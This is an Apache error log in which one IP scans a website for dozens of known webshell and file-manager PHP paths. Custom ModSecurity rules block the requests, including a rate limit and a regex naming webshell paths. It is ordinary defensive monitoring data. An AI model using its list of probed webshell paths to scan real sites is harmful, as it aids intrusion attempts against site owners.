[Thu May 21 08:08:46.209827 2026] [:error] [pid 49877:tid 49908] [client 135.119.26.13:41787] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ag5NDhgN4MeSe4kIL9AEBQAAABQ"]
[Thu May 21 08:08:51.509001 2026] [:error] [pid 9114:tid 9135] [client 135.119.26.13:41184] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ag5NE28FiJqDBEoTvqwxkwAAAVM"]
[Thu May 21 08:08:55.146012 2026] [:error] [pid 49884:tid 49951] [client 135.119.26.13:41201] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ag5NF65MPpsTNNHWS6jjhAAAAIQ"]
[Thu May 21 08:08:57.743060 2026] [:error] [pid 49884:tid 49961] [client 135.119.26.13:50542] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ag5NGa5MPpsTNNHWS6jjlgAAAI4"]
[Thu May 21 08:09:08.364220 2026] [:error] [pid 49982:tid 50000] [client 135.119.26.13:11117] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "ag5NJGFwIDa5Tf8O4bY_jAAAANA"]
[Thu May 21 08:09:14.806872 2026] [:error] [pid 49982:tid 49986] [client 135.119.26.13:37852] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "ag5NKmFwIDa5Tf8O4bY_rAAAAMI"]
[Thu May 21 08:09:20.127855 2026] [:error] [pid 49884:tid 49957] [client 135.119.26.13:42847] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "ag5NMK5MPpsTNNHWS6jjwwAAAIo"]
[Thu May 21 08:09:24.253454 2026] [:error] [pid 51613:tid 51634] [client 135.119.26.13:37832] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "ag5NNGbP0MDvqrVnweqepwAAARM"]
[Thu May 21 08:09:28.549112 2026] [:error] [pid 9188:tid 9207] [client 135.119.26.13:46496] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "ag5NOLGYm6q5dNSUvA9uRQAAAc8"]
[Thu May 21 08:09:32.447155 2026] [:error] [pid 9189:tid 9223] [client 135.119.26.13:10809] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ag5NPJvTDh1NbYizKVwibwAAAgQ"]
[Thu May 21 08:09:37.170865 2026] [:error] [pid 49884:tid 49949] [client 135.119.26.13:37915] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ag5NQa5MPpsTNNHWS6jj4wAAAII"]
[Thu May 21 08:09:50.578959 2026] [:error] [pid 9157:tid 9162] [client 135.119.26.13:37930] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Thu May 21 08:09:50.771203 2026] [:error] [pid 9157:tid 9159] [client 135.119.26.13:37930] File does not exist: /usr/local/apache/htdocs/suspended-page/son.php
[Thu May 21 08:09:50.973119 2026] [:error] [pid 9157:tid 9173] [client 135.119.26.13:37930] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Thu May 21 08:09:51.182200 2026] [:error] [pid 9157:tid 9182] [client 135.119.26.13:37930] File does not exist: /usr/local/apache/htdocs/suspended-page/zo.php
[Thu May 21 08:09:51.375130 2026] [:error] [pid 9157:tid 9176] [client 135.119.26.13:37930] File does not exist: /usr/local/apache/htdocs/suspended-page/xper1.php
[Thu May 21 08:09:51.564980 2026] [:error] [pid 9157:tid 9165] [client 135.119.26.13:37930] [client 135.119.26.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "ag5NT8GfHcLNqE8m88I9hgAAAYY"]
[Thu May 21 08:09:56.864979 2026] [:error] [pid 49982:tid 49999] [client 135.119.26.13:43250] File does not exist: /usr/local/apache/htdocs/suspended-page/s1.php
[Thu May 21 08:09:57.055100 2026] [:error] [pid 49982:tid 50001] [client 135.119.26.13:43250] File does not exist: /usr/local/apache/htdocs/suspended-page/de.php
[Thu May 21 08:09:57.281407 2026] [:error] [pid 49982:tid 49988] [client 135.119.26.13:43250] File does not exist: /usr/local/apache/htdocs/suspended-page/1a.php
[Thu May 21 08:09:57.510249 2026] [:error] [pid 49982:tid 49987] [client 135.119.26.13:43250] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Thu May 21 08:09:57.700754 2026] [:error] [pid 49982:tid 49994] [client 135.119.26.13:43250] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Thu May 21 08:09:57.923020 2026] [:error] [pid 49982:tid 50007] [client 135.119.26.13:43250] File does not exist: /usr/local/apache/htdocs/suspended-page/sky.php
[Thu May 21 08:09:58.140587 2026] [:error] [pid 49982:tid 50008] [client 135.119.26.13:43250] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "ag5NVmFwIDa5Tf8O4bY_3gAAANg"]
[Thu May 21 08:10:02.823562 2026] [:error] [pid 9188:tid 9201] [client 135.119.26.13:37896] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "ag5NWrGYm6q5dNSUvA9uVQAAAck"]
[Thu May 21 08:10:06.411636 2026] [:error] [pid 49884:tid 49950] [client 135.119.26.13:51244] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "ag5NXq5MPpsTNNHWS6jkCwAAAIM"]
[Thu May 21 08:10:11.557622 2026] [:error] [pid 9188:tid 9207] [client 135.119.26.13:40258] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "ag5NY7GYm6q5dNSUvA9uWwAAAc8"]
[Thu May 21 08:10:29.957401 2026] [:error] [pid 51613:tid 51627] [client 135.119.26.13:51248] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ag5NdWbP0MDvqrVnweqe1gAAAQw"]
[Thu May 21 08:10:30.522944 2026] [:error] [pid 49879:tid 49931] [client 135.119.26.13:51214] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ag5NdoVqYDjFSyG2gFofMwAAAEs"]
[Thu May 21 08:10:31.903865 2026] [:error] [pid 49879:tid 49936] [client 135.119.26.13:43254] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ag5Nd4VqYDjFSyG2gFofOAAAAFA"]
[Thu May 21 08:10:39.034880 2026] [:error] [pid 9189:tid 9241] [client 135.119.26.13:51223] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ag5Nf5vTDh1NbYizKVwiewAAAhY"]
[Thu May 21 08:10:44.844899 2026] [:error] [pid 49879:tid 49941] [client 135.119.26.13:51195] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "ag5NhIVqYDjFSyG2gFofRAAAAFU"]
[Thu May 21 08:10:50.965054 2026] [:error] [pid 9114:tid 9119] [client 135.119.26.13:51233] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "ag5Nim8FiJqDBEoTvqwxyQAAAUM"]
[Thu May 21 08:10:55.887506 2026] [:error] [pid 49982:tid 49991] [client 135.119.26.13:10389] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "ag5Nj2FwIDa5Tf8O4bY__gAAAMc"]
[Thu May 21 08:11:04.416997 2026] [:error] [pid 49879:tid 49922] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Thu May 21 08:11:04.620718 2026] [:error] [pid 49879:tid 49944] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Thu May 21 08:11:04.812230 2026] [:error] [pid 49879:tid 49935] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Thu May 21 08:11:05.004783 2026] [:error] [pid 49879:tid 49926] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/zdd.php
[Thu May 21 08:11:05.240199 2026] [:error] [pid 49879:tid 49940] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/link.php
[Thu May 21 08:11:05.434777 2026] [:error] [pid 49879:tid 49936] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/sallu.php
[Thu May 21 08:11:05.651952 2026] [:error] [pid 49879:tid 49939] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/aboute.php
[Thu May 21 08:11:05.843160 2026] [:error] [pid 49879:tid 49941] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/ayk.php
[Thu May 21 08:11:06.047514 2026] [:error] [pid 49879:tid 49932] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/one.php
[Thu May 21 08:11:06.237871 2026] [:error] [pid 49879:tid 49928] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/tx79.php
[Thu May 21 08:11:06.485232 2026] [:error] [pid 49879:tid 49925] [client 135.119.26.13:43249] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Thu May 21 08:11:06.710580 2026] [:error] [pid 49879:tid 49927] [client 135.119.26.13:43249] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ag5NmoVqYDjFSyG2gFofVAAAAEc"]
[Thu May 21 08:11:14.105964 2026] [:error] [pid 49982:tid 49988] [client 135.119.26.13:43220] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ag5NomFwIDa5Tf8O4bZACwAAAMQ"]
[Thu May 21 08:11:19.836605 2026] [:error] [pid 9189:tid 9222] [client 135.119.26.13:10413] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ag5Np5vTDh1NbYizKVwingAAAgM"]
[Thu May 21 08:11:39.914304 2026] [:error] [pid 51613:tid 51621] [client 135.119.26.13:46541] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "ag5Nu2bP0MDvqrVnweqfGgAAAQY"]
[Thu May 21 08:11:51.621833 2026] [:error] [pid 9189:tid 9220] [client 135.119.26.13:55686] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "ag5Nx5vTDh1NbYizKVwiugAAAgE"]
[Thu May 21 08:12:08.115003 2026] [:error] [pid 49982:tid 50002] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/alpha.php
[Thu May 21 08:12:08.307150 2026] [:error] [pid 49982:tid 50003] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/son1.php
[Thu May 21 08:12:08.538052 2026] [:error] [pid 49982:tid 50005] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/ggb.php
[Thu May 21 08:12:08.756515 2026] [:error] [pid 49982:tid 50004] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/amxloxxr.php
[Thu May 21 08:12:08.972834 2026] [:error] [pid 49982:tid 49991] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/ss.php
[Thu May 21 08:12:09.232598 2026] [:error] [pid 49982:tid 49993] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Thu May 21 08:12:09.423721 2026] [:error] [pid 49982:tid 49990] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Thu May 21 08:12:09.628747 2026] [:error] [pid 49982:tid 49986] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/99.php
[Thu May 21 08:12:09.821411 2026] [:error] [pid 49982:tid 49994] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/layout.php
[Thu May 21 08:12:10.021671 2026] [:error] [pid 49982:tid 50002] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/12.php
[Thu May 21 08:12:10.233153 2026] [:error] [pid 49982:tid 50007] [client 135.119.26.13:11241] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Thu May 21 08:12:10.481521 2026] [:error] [pid 49982:tid 49995] [client 135.119.26.13:11241] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ag5N2mFwIDa5Tf8O4bZAZQAAAMs"]
[Thu May 21 08:12:34.848955 2026] [:error] [pid 9189:tid 9239] [client 135.119.26.13:51533] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ag5N8pvTDh1NbYizKVwi7gAAAhQ"]
[Thu May 21 08:12:40.092964 2026] [:error] [pid 9157:tid 9160] [client 135.119.26.13:39749] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ag5N-MGfHcLNqE8m88I93QAAAYE"]
[Thu May 21 08:12:49.062530 2026] [:error] [pid 49884:tid 49960] [client 135.119.26.13:40372] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ag5OAa5MPpsTNNHWS6jlWwAAAI0"]
[Thu May 21 08:13:10.493731 2026] [:error] [pid 9114:tid 9120] [client 135.119.26.13:40369] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Thu May 21 08:13:22.035845 2026] [:error] [pid 9157:tid 9164] [client 135.119.26.13:37218] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Thu May 21 08:13:22.908451 2026] [:error] [pid 9157:tid 9164] [client 135.119.26.13:37218] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Thu May 21 08:13:26.585962 2026] [:error] [pid 9157:tid 9183] [client 135.119.26.13:37218] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu May 21 08:13:26.805731 2026] [:error] [pid 9157:tid 9164] [client 135.119.26.13:37218] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Thu May 21 08:13:27.467947 2026] [:error] [pid 9157:tid 9160] [client 135.119.26.13:37218] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Thu May 21 08:13:27.674263 2026] [:error] [pid 9157:tid 9176] [client 135.119.26.13:37218] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-theme.php
[Thu May 21 08:13:27.907858 2026] [:error] [pid 9157:tid 9168] [client 135.119.26.13:37218] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-file.php
[Thu May 21 08:13:28.101072 2026] [:error] [pid 9157:tid 9171] [client 135.119.26.13:37218] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Thu May 21 08:13:28.289320 2026] [:error] [pid 9157:tid 9165] [client 135.119.26.13:37218] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mah.php"] [unique_id "ag5OKMGfHcLNqE8m88I-BQAAAYY"]
[Thu May 21 08:13:33.702078 2026] [:error] [pid 49982:tid 49993] [client 135.119.26.13:38517] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mah.php"] [unique_id "ag5OLWFwIDa5Tf8O4bZAugAAAMk"]
[Thu May 21 08:13:37.580990 2026] [:error] [pid 9157:tid 9176] [client 135.119.26.13:41160] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mah.php"] [unique_id "ag5OMcGfHcLNqE8m88I-DQAAAZE"]
[Thu May 21 08:13:41.810800 2026] [:error] [pid 49884:tid 49957] [client 135.119.26.13:55217] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mah.php"] [unique_id "ag5ONa5MPpsTNNHWS6jlyQAAAIo"]
[Thu May 21 08:13:48.100292 2026] [:error] [pid 9188:tid 9205] [client 135.119.26.13:43179] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins.php"] [unique_id "ag5OPLGYm6q5dNSUvA9vSgAAAc0"]
[Thu May 21 08:13:53.301776 2026] [:error] [pid 9157:tid 9167] [client 135.119.26.13:41766] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins.php"] [unique_id "ag5OQcGfHcLNqE8m88I-EAAAAYg"]
[Thu May 21 08:14:07.143089 2026] [:error] [pid 49884:tid 49957] [client 135.119.26.13:56693] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "ag5OT65MPpsTNNHWS6jl8wAAAIo"]
[Thu May 21 08:14:20.934799 2026] [:error] [pid 49879:tid 49943] [client 135.119.26.13:41777] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a.php"] [unique_id "ag5OXIVqYDjFSyG2gFofyAAAAFc"]
[Thu May 21 08:14:57.897630 2026] [:error] [pid 51613:tid 51633] [client 135.119.26.13:10297] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Thu May 21 08:14:58.142354 2026] [:error] [pid 51613:tid 51616] [client 135.119.26.13:10297] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Thu May 21 08:14:58.767036 2026] [:error] [pid 51613:tid 51630] [client 135.119.26.13:10297] File does not exist: /usr/local/apache/htdocs/suspended-page/ca4.php
[Thu May 21 08:15:02.706909 2026] [:error] [pid 51613:tid 51619] [client 135.119.26.13:10297] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Thu May 21 08:15:02.945047 2026] [:error] [pid 51613:tid 51618] [client 135.119.26.13:10297] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Thu May 21 08:15:04.343188 2026] [:error] [pid 51613:tid 51618] [client 135.119.26.13:10297] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
